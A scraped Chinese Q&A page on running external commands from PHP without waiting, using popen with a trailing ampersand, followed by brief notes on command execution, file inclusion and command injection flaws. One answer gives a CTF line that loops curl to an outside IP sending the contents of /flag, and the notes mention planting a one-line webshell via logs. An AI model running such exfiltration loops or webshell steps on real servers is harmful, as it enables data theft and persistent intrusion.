php执行外部命令,如何不等待返回结果

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php执行外部命令,如何不等待返回结果相关的知识,希望对你有一定的参考价值。

php执行外部命令时,如何做到不等待命令执行结果,继续执行下一行?

比如说:

$str = 'cp -r \use\* \newuse';
exec($str);
echo '运行完毕';
假如这个命令要执行5分钟,那程序要5分钟后才能有输出。
有没有可能发送出去了某条命令后,就不管了,让命令自个执行去,不等待返回结果。
要达到得效果就是发送命令后就输出运行结束。
高手来解答?谢谢!

发广告得死远点!!

pclose(popen('command &', 'r'));
感谢楼上的朋友。亲测有效,在linux中需要让程序在后台运行才可以,因此必须加&,例如:
pclose(popen(" while true;do echo 123;sleep 5;done;&", r));
这条命令注意 后面有一个空格。玩awd攻防赛的朋友可以靠这种方式种一个不死的子进程,不断发送flag给服务器:
pclose(popen(" while true;do curl http://192.168.62.1/?flag=`cat /flag`;sleep 5;done;&", 'r'));
参考技术A pclose(popen('start notepad.exe', 'r'));

参考资料:http://www.cublog.cn/u/10697/showart.php?id=76986

本回答被提问者采纳

other漏洞



PHP 命令执行函数
在php中有五个函数能执行外部的应用程序或函数

1 system 执行一个外部的应用程序并显示输出的结果
2 exec 执行一个外部的应用程序
3 passthru 执行一个unix系统命令并显示原始的输出
4 shell_exec 执行shell命令并返回输出的结果的字符串
5 "‘‘" 运算符 与shell_exec的功能相同

 

文件包含漏洞

是代码注入的一种 其原理就是注入一段用户能控制的脚本或者代码 并让服务器端执行代码注入的典型代表就是文件包含file inclusion 文件包含可能会出现在jsp php asp 等语言中 常见的导致文件包含的函数如下

PHP 
include include_once() require() require_once fopen() readfile()

jsp ava.io.file() java.io,filereader()

asp include include virtual

 

命令注入攻击

由于web应用程序对用户提交的数据过滤不严格 导致xx可以构造特殊命令串的方式 将数据提交至web应用程序中 并利用该方式执行外部程序或系统命令实施攻击 非法获取数据或者网络紫苑等 命令注入攻击最初被称为shell命令注入攻击

 

包含日志 

通过构造语句让服务器并将一句话报错信息写入日志
找到日志文件
用菜刀链接

 下载漏洞

inurl:asp?fileup=

以上是关于php执行外部命令,如何不等待返回结果的主要内容,如果未能解决你的问题,请参考以下文章

php执行外部命令函数:exec()passthru()system()shell_exec()对比

在windows系统下的cmd下面执行php 命令,返回‘PHP’不是内部或外部命令,也不是可运行的程序。。

怎么用php命令执行php代码

PHP 执行系统外部命令的方法 system() exec()

在windows系统下的cmd下面执行php 命令,返回‘PHP’不是内部或外部命令,也不是可运行的程序。。

命令执行漏洞,绕过过滤姿势